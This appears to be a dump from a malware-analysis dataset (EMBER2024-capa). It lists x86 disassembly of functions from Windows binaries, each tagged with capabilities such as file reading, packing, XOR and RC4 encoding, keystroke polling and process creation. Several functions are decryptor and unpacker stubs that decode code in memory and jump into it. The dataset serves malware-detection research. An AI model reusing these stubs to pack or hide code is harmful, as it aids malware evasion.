joyce8/EMBER2024-capa huggingface dataset:
Function at 0x423b4d
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x467058]
mov dword [ebp - 0x10], ecx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x423b8d
cmp byte [ebx], 0xa
jne 0x423b8d
or byte [eax + edi + 0x28], 4
jmp 0x423b92
and byte [eax + edi + 0x28], 0xfb
add ecx, ebx
mov edx, ebx
mov dword [ebp - 0xc], ecx
mov esi, ebx
cmp ebx, ecx
jae 0x423c90
mov al, byte [edx]
cmp al, 0x1a
je 0x423c72
lea ecx, [edx + 1]
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 0xc]
cmp al, 0xd
je 0x423bc1
mov edx, dword [ebp - 8]
mov byte [esi], al
jmp 0x423be6
mov eax, dword [ebp - 8]
cmp eax, ecx
jae 0x423bf0
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add edx, eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov ecx, dword [ebp - 0xc]
inc esi
cmp edx, ecx
jb 0x423ba3
jmp 0x423c90
push 0
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x423c6d
cmp dword [ebp - 0xc], 0
je 0x423c6d
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx*4 + 0x467058]
test byte [eax + edi + 0x28], 0x48
je 0x423c47
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x423c32
mov byte [esi], dl
jmp 0x423c43
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x467058]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x423c90
cmp byte [ebp - 1], 0xa
jne 0x423c56
cmp esi, ebx
jne 0x423c56
mov byte [esi], 0xa
jmp 0x423c8f
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.0041b728
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x423c90
mov byte [esi], 0xd
jmp 0x423c8f
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx*4 + 0x467058]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x423c8c
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x423c90
mov byte [esi], 0x1a
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x423c99
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov ebx, eax
and eax, 0x3f
sar ebx, 6
push edi
imul edi, eax, 0x38
push 0xa
mov eax, dword [ebx*4 + 0x467058]
pop edx
mov dword [ebp - 0x14], edx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x423cdc
cmp word [esi], dx
jne 0x423cdc
or byte [edi + eax + 0x28], 4
jmp 0x423ce1
and byte [edi + eax + 0x28], 0xfb
lea edx, [esi + ecx*2]
mov eax, esi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
cmp eax, edx
jae 0x423e34
mov dword [ebp - 0xc], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x10], edx
push 0x1a
pop edx
cmp cx, dx
mov edx, dword [ebp - 8]
je 0x423e14
add eax, 2
cmp cx, word [ebp - 0xc]
je 0x423d23
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x423d59
cmp eax, edx
jae 0x423d65
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x14]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 8]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
add esi, 2
cmp eax, edx
jb 0x423cfb
jmp 0x423e34
push 0
lea eax, [ebp - 0x14]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x423e10
cmp dword [ebp - 0x14], 0
je 0x423e10
mov eax, dword [ebx*4 + 0x467058]
push 0xa
test byte [edi + eax + 0x28], 0x48
je 0x423de8
mov dx, word [ebp - 4]
lea eax, [esi + 2]
pop ecx
mov dword [ebp - 0x18], eax
cmp dx, cx
jne 0x423db1
mov word [esi], cx
jmp 0x423de4
push 0xd
pop eax
mov word [esi], ax
mov eax, dword [ebx*4 + 0x467058]
movzx ecx, dx
shr ecx, 8
push 0xa
mov byte [edi + eax + 0x2a], dl
mov eax, dword [ebx*4 + 0x467058]
mov byte [edi + eax + 0x2b], cl
mov eax, dword [ebx*4 + 0x467058]
pop ecx
mov byte [edi + eax + 0x2c], cl
mov eax, dword [ebp - 0x18]
mov esi, eax
jmp 0x423e34
pop ebx
cmp word [ebp - 4], bx
jne 0x423df9
cmp esi, dword [ebp + 0xc]
jne 0x423df9
mov word [esi], bx
jmp 0x423e31
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.0041b728
add esp, 0x10
cmp word [ebp - 4], bx
je 0x423e34
push 0xd
jmp 0x423e2d
mov ecx, dword [ebx*4 + 0x467058]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x423e2b
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x423e34
push 0x1a
pop eax
mov word [esi], ax
add esi, 2
sub esi, dword [ebp + 0xc]
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x426900
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x42692d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x42692d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x461f20
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x455015
lea edi, [esi - 0x54015]
push edi
or ebp, 0xffffffff
jmp 0x461f42
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x461f49
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x461f38
mov eax, 1
add ebx, ebx
jne 0x461f5b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x461f50
jne 0x461f6c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x461f50
xor ecx, ecx
sub eax, 3
jb 0x461f80
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x461ff2
mov ebp, eax
add ebx, ebx
jne 0x461f8b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x461f98
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x461fbc
inc ecx
add ebx, ebx
jne 0x461fa8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x461f9d
jne 0x461fb9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x461f9d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x461fdc
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x461fcd
jmp 0x461f3e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x461fdc
add edi, ecx
jmp 0x461f3e
pop esi
mov edi, esi
mov ecx, 0x32d
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x461ffa
cmp byte [edi], 0
jne 0x461ffa
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x461fff
lea edi, [esi + 0x5f000]
mov eax, dword [edi]
or eax, eax
je 0x46206e
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x621f0]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x62254]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x46202c
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x62258]
or eax, eax
je 0x462068
mov dword [ebx], eax
add ebx, 4
jmp 0x462049
call dword [esi + 0x6225c]
popal
jmp 0x4095a4

Function at 0x425588
Capabilities:
Encode data using xor

Disassembly:
mov ecx, edx
mov edx, eax
xor eax, eax
rol ax, 5
xor al, byte [edx]
inc edx
dec ecx
jne 0x42558e
ret
Function at 0x401d70
Capabilities:
Print debug messages

Disassembly:
push edi
xor edi, edi
cmp dword [0x415150], edi
je 0x401d86
push str.IsolationAware_function_called_after_IsolationAwareCleanup_n
call dword [sym.imp.kernel32.dll_OutputDebugStringA]
cmp dword [0x415148], edi
je 0x401d97
mov eax, 1
pop edi
ret 4
push esi
cmp dword [0x415150], edi
jne 0x401da9
call fcn.00401b60
test eax, eax
je 0x401deb
mov eax, dword [0x41517c]
mov esi, dword [0x414010]
test eax, eax
jne 0x401dd5
push str.ActivateActCtx
push 0x415174
push 0x40f3b8
call fcn.00401030
mov dword [0x41517c], eax
test eax, eax
je 0x401deb
mov ecx, dword [esp + 0xc]
push ecx
push esi
call eax
test eax, eax
je 0x401deb
pop esi
mov eax, 1
pop edi
ret 4
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x7f
je 0x401e00
cmp eax, 0x7e
je 0x401e00
cmp eax, 0x78
jne 0x401e0f
mov eax, 1
pop esi
mov dword [0x415148], eax
pop edi
ret 4
pop esi
mov eax, edi
pop edi
ret 4

Function at 0x402df0
Capabilities:
Read .ini file

Disassembly:
push ecx
push ebx
push ebp
mov ebp, dword [esp + 0x18]
mov dword [esp + 8], ecx
xor ecx, ecx
mov eax, ebp
mov edx, 2
mul edx
seto cl
push esi
push edi
neg ecx
or ecx, eax
push ecx
call sub.MSVCR90.dll_void____cdecl_operator_new___unsigned_int_
lea ebx, [ebp + ebp]
push ebx
mov esi, eax
push 0
push esi
call sub.MSVCR90.dll_memset
mov edi, dword [esp + 0x2c]
add esp, 0x10
push edi
push esi
call dword [sym.imp.kernel32.dll_lstrcpyW]
push ebx
push 0
push edi
call sub.MSVCR90.dll_memset
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x24]
add esp, 0xc
add eax, 0x254
push eax
push ebp
push edi
push esi
push ecx
push str.labels
call dword [sym.imp.kernel32.dll_GetPrivateProfileStringW]
push esi
call sub.MSVCR90.dll_void___cdecl_operator_delete___void__
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret 0xc

Function at 0x403260
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
pushal
call 0x40326f
pop dword [ebp - 0x40]
mov eax, 0xc66b5c39
sub eax, 0xc62b29ca
sub dword [ebp - 0x40], eax
push 0x40
push 0x1000
push 0x3801b
push 0
mov eax, 0x71aa52fb
add eax, 0x8e969ddd
add eax, dword [ebp - 0x40]
call dword [eax]
mov ecx, 0x23281ccb
add ecx, 0xdcd830c5
mov edx, eax
mov ebx, 0x2015d40b
add ebx, 0xe02bc7f5
add ebx, dword [ebp - 0x40]
mov esi, 0x25eecaa8
sub dword [ebp - 0x18], 0xaf172477
mov edi, dword [ebx]
xor dword [ebp - 4], eax
xor edi, esi
add dword [ebp - 0x38], 0x62e2245c
mov dword [edx], edi
add edx, 0xd2c60b32
add edx, 0x2d39f4d2
add ebx, 0xa8d40a55
sub ebx, 0xa8d40a51
loop 0x4032c8
add eax, 0x12913
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0xeef9857
add ecx, 0xf15067a9
add ecx, dword [ebp - 0x40]
call ebx
leave
ret
Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x42e00c
nop
nop
nop
nop
nop
pop eax
add eax, 0x403ac5
nop
nop
sub eax, 0x403a6b
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
mov ecx, dword [eax + 4]
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x42e030
nop
nop
nop
nop
nop
nop
add eax, 0xc
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x42e01e
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp loc.00401219
Function at 0x40cff0
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x4699cb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.0045e407
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x40d072
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.0045c17d
mov eax, dword [eax]
push 0x4981d0
push eax
call fcn.0044ef54
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.0045e692
test bl, bl
je 0x40d072
push 0x4981d0
lea ecx, [esp + 0xc]
call fcn.0045ea22
push 0x49bd60
lea ecx, [esp + 0xc]
call fcn.0045ea22
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x40d0ae
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.0045e692
jmp 0x40d179
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x40d132
lea edx, [esp + 0x7c]
push 0x49bd5c
push edx
call fcn.0044ef54
add esp, 8
test eax, eax
je 0x40d132
lea eax, [esp + 0x7c]
push 0x49bd58
push eax
call fcn.0044ef54
add esp, 8
test eax, eax
je 0x40d132
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x40d0c2
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.0045e692
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x40d970
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x40d9d2
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x40d9e0
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x469a4b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x4a2200]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x40db18
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x40da46
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0045e692
xor eax, eax
jmp 0x40db8f
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.0045e7cf
push esi
lea ecx, [esp + 0xc]
call fcn.0045ea5e
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x40db6d
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push accept
call fcn.0040d970
test eax, eax
jne 0x40db6d
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push accept
mov ecx, edi
call fcn.0040d970
test eax, eax
jne 0x40db6d
lea eax, [esp + 0x14]
push 0x49bd74
push eax
call fcn.0044ff90
mov esi, eax
add esp, 8
test esi, esi
jne 0x40db4c
lea ecx, [esp + 0x14]
push 0x49bd70
push ecx
call fcn.0044ff10
mov esi, eax
add esp, 8
test esi, esi
jne 0x40db4c
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x40db4f
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.0045e77f
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x40da5e
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0045e692
xor eax, eax
jmp 0x40db8f
mov byte [esi], 0
push 0x49bd6c
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.0045e692
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x41f590
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x41f5fe
cmp si, 0x69
ja 0x41f5fe
add esi, 0xffd0
cmp si, 0x11
je 0x41f5ce
push 0x11
call edi
test ax, ax
jge 0x41f5ce
or esi, 0x2000
cmp si, 0x10
je 0x41f5e3
push 0x10
call edi
test ax, ax
jge 0x41f5e3
or esi, 0x4000
cmp si, 0x12
je 0x41f5f8
push 0x12
call edi
test ax, ax
jge 0x41f5f8
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x41f60b
mov esi, 0xbd
jmp 0x41f5bf
cmp si, 0x6e
jne 0x41f618
mov esi, 0xbe
jmp 0x41f5bf
cmp si, 0x6f
jne 0x41f5b9
mov esi, 0xbf
jmp 0x41f5bf

Function at 0x420d40
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x4b2880]
xor edx, edx
cmp eax, edx
jne 0x420d66
xor eax, eax
mov byte [eax + 0x4b2780], al
inc eax
cmp eax, 0x100
jl 0x420d4e
mov dword [0x4b2880], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x4b2780
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x420df7
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x420dca
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x420d98
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x420e70
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x420ec3
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x420eaa
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x427900
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x18
mov eax, dword [esp + 0x1c]
push ebx
push ebp
push esi
xor esi, esi
xor ecx, ecx
mov si, word [eax + 8]
mov cx, word [eax + 4]
xor ebp, ebp
xor edx, edx
mov bp, word [eax + 0xa]
mov dx, word [eax + 6]
sub esi, ecx
sub ebp, edx
inc esi
xor ebx, ebx
inc ebp
cmp esi, ebx
mov dword [esp + 0x14], esi
jle 0x427a98
cmp ebp, ebx
jle 0x427a98
mov eax, esi
push edi
cdq
and edx, 7
add eax, edx
mov edi, eax
mov eax, esi
sar edi, 3
and eax, 0x80000007
mov dword [esp + 0x10], edi
jns 0x42795e
dec eax
or eax, 0xfffffff8
inc eax
je 0x427965
inc edi
mov dword [esp + 0x10], edi
mov ecx, edi
and ecx, reloc.WS2_32.dll_accept
jns 0x427974
dec ecx
or ecx, 0xfffffffe
inc ecx
je 0x42797b
inc edi
mov dword [esp + 0x10], edi
push 0x18
call fcn.0045e3d3
add esp, 4
cmp eax, ebx
je 0x42799c
mov dword [eax], ebx
mov dword [eax + 4], ebx
mov dword [eax + 8], ebx
mov dword [eax + 0xc], ebx
mov dword [eax + 0x10], ebx
mov dword [eax + 0x14], ebx
mov ebx, eax
mov eax, edi
mov dword [esp + 0x14], ebx
imul eax, ebp
push eax
mov dword [ebx], 7
mov dword [ebx + 4], esi
mov dword [ebx + 8], ebp
mov dword [ebx + 0x14], eax
call fcn.0045e3d3
mov ecx, dword [ebx + 0x14]
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [ebx + 0x10], edi
add esp, 4
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
test ebp, ebp
lea edx, [eax + 0x80]
jle 0x427a8e
xor eax, eax
mov dword [esp + 0x20], ebp
mov dword [esp + 0x1c], eax
mov ebp, dword [ebx + 0x10]
xor ecx, ecx
add ebp, eax
mov dword [esp + 0x2c], ecx
test esi, esi
jle 0x427a75
mov al, byte [edx]
cmp al, 0xc0
jbe 0x427a61
and eax, 0xff
sub eax, 0xc0
inc edx
mov esi, eax
mov dword [esp + 0x24], edx
cmp esi, 1
jle 0x427a56
xor eax, eax
mov ecx, esi
mov al, byte [edx]
mov edx, ecx
mov bl, al
mov edi, ebp
mov bh, bl
dec esi
mov eax, ebx
shl eax, 0x10
mov ax, bx
mov ebx, dword [esp + 0x14]
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
mov edx, dword [esp + 0x24]
and ecx, 3
add ebp, esi
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
lea ecx, [eax + esi*8]
mov esi, dword [esp + 0x18]
jmp 0x427a64
mov al, byte [edx]
mov esi, dword [esp + 0x18]
mov byte [ebp], al
jmp 0x427a64
mov byte [ebp], al
inc ebp
add ecx, 8
inc edx
cmp ecx, esi
mov dword [esp + 0x2c], ecx
jl 0x427a00
mov eax, dword [esp + 0x1c]
mov edi, dword [esp + 0x10]
mov ecx, dword [esp + 0x20]
add eax, edi
dec ecx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], ecx
jne 0x4279f1
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x18
ret
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x18
ret
Function at 0x42ad00
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x46b0b8
push eax
mov dword fs:[0], esp
sub esp, 0x28
push esi
push edi
mov edi, dword [esp + 0x44]
mov esi, ecx
test edi, edi
jne 0x42ad39
pop edi
xor eax, eax
pop esi
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
add esp, 0x34
ret 0x24
push 0x400
lea ecx, [esp + 0xc]
call fcn.00465d80
mov eax, dword [esp + 0x40]
push 0
push edi
push eax
lea ecx, [esp + 0x14]
mov dword [esp + 0x44], 0
call fcn.00465dcc
mov ecx, dword [esp + 0x60]
mov edx, dword [esp + 0x5c]
mov eax, dword [esp + 0x58]
push ecx
mov ecx, dword [esp + 0x58]
push edx
mov edx, dword [esp + 0x58]
push eax
mov eax, dword [esp + 0x58]
push ecx
mov ecx, dword [esp + 0x58]
push edx
push eax
lea edx, [esp + 0x20]
push ecx
push edx
mov ecx, esi
call fcn.0042adc0
lea ecx, [esp + 8]
mov esi, eax
mov dword [esp + 0x38], 0xffffffff
call fcn.00465e09
mov ecx, dword [esp + 0x30]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x34
ret 0x24